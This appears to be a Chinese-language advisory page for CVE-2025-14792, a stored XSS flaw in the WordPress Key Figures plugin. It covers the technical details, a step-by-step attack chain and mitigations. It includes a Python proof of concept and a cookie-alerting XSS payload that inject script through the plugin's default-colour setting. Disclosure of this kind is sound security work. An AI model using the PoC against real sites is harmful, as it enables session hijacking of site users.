IPBUF安全漏洞报告
English
CVE-2025-14792 CVSS 4.4 中危

CVE-2025-14792 WordPress Key Figures插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14792
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress Key Figures插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-14792Key Figures插件跨站脚本WordPress安全CVSS 4.4中危漏洞Authenticated XSS

漏洞概述

CVE-2025-14792是WordPress Key Figures插件中的一个存储型跨站脚本漏洞。该插件是一款用于在WordPress网站中展示关键数据的插件。漏洞源于kf_field_figure_default_color_render函数在处理用户输入时未进行充分的输入清理和输出转义,导致恶意JavaScript代码可以被存储在数据库中。当其他用户访问包含恶意代码的页面时,注入的脚本会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或其他恶意操作。此漏洞需要攻击者具有管理员级别权限,且仅影响多站点WordPress安装或已禁用unfiltered_html功能的单站点安装。

技术细节

漏洞位于Key Figures插件的admin/kf-admin.php文件第201行附近的kf_field_figure_default_color_render函数。该函数负责渲染默认颜色字段,但由于缺乏对用户输入的sanitization和输出的escaping处理,攻击者可以在figure_default_color参数中注入任意HTML/JavaScript代码。攻击流程为:(1)拥有管理员权限的攻击者登录WordPress后台;(2)导航至Key Figures插件设置页面;(3)在默认颜色字段中注入恶意脚本,如:<img src=x onerror=alert(document.cookie)>;(4)保存设置后,恶意代码被存储在数据库中;(5)当其他用户访问使用该插件展示数据的页面时,存储的恶意脚本被执行。由于是存储型XSS,恶意代码会持久存在于系统中,每次页面加载都会触发。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress站点管理员级别账户凭据
STEP 2
步骤2
攻击者登录WordPress后台管理面板
STEP 3
步骤3
导航至Key Figures插件的设置页面
STEP 4
步骤4
在kf_field_figure_default_color_render函数处理的相关字段中注入恶意JavaScript代码
STEP 5
步骤5
保存设置,恶意代码被永久存储在数据库中
STEP 6
步骤6
当其他用户访问使用Key Figures插件的页面时,存储的恶意脚本在其浏览器中执行
STEP 7
步骤7
攻击者通过XSS成功窃取用户Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-14792 PoC - WordPress Key Figures Plugin Stored XSS # Target: WordPress site with Key Figures plugin <= 1.1 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=key-figures-settings" # Malicious XSS payload xss_payload = '<img src=x onerror=alert(document.cookie)>' # Authentication (Administrator credentials required) session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': admin_path } # Step 1: Login to WordPress admin panel login_url = f"{target_url}/wp-login.php" response = session.post(login_url, data=login_data) # Step 2: Access Key Figures plugin settings settings_url = f"{target_url}{admin_path}" settings_page = session.get(settings_url) # Step 3: Extract nonce for form submission import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', settings_page.text) if nonce_match: nonce = nonce_match.group(1) else: print("Nonce not found") exit(1) # Step 4: Submit form with XSS payload post_data = { '_wpnonce': nonce, 'kf_field_figure_default_color': xss_payload, 'kf_save_settings': 'Save Changes' } response = session.post(settings_url, data=post_data) print("XSS payload injected successfully") print("Payload will execute when any user visits affected pages")

影响范围

WordPress Key Figures插件 <= 1.1(所有版本)

防御指南

临时缓解措施
临时缓解措施:在多站点安装或禁用unfiltered_html的站点上,严格限制具有管理员权限的用户账户,确保只有可信人员拥有高权限访问。对于单站点安装,可考虑临时启用unfiltered_html(需信任所有管理员用户)。同时建议使用Content Security Policy(CSP)头部限制脚本执行,监控管理员账户活动日志,及时发现异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表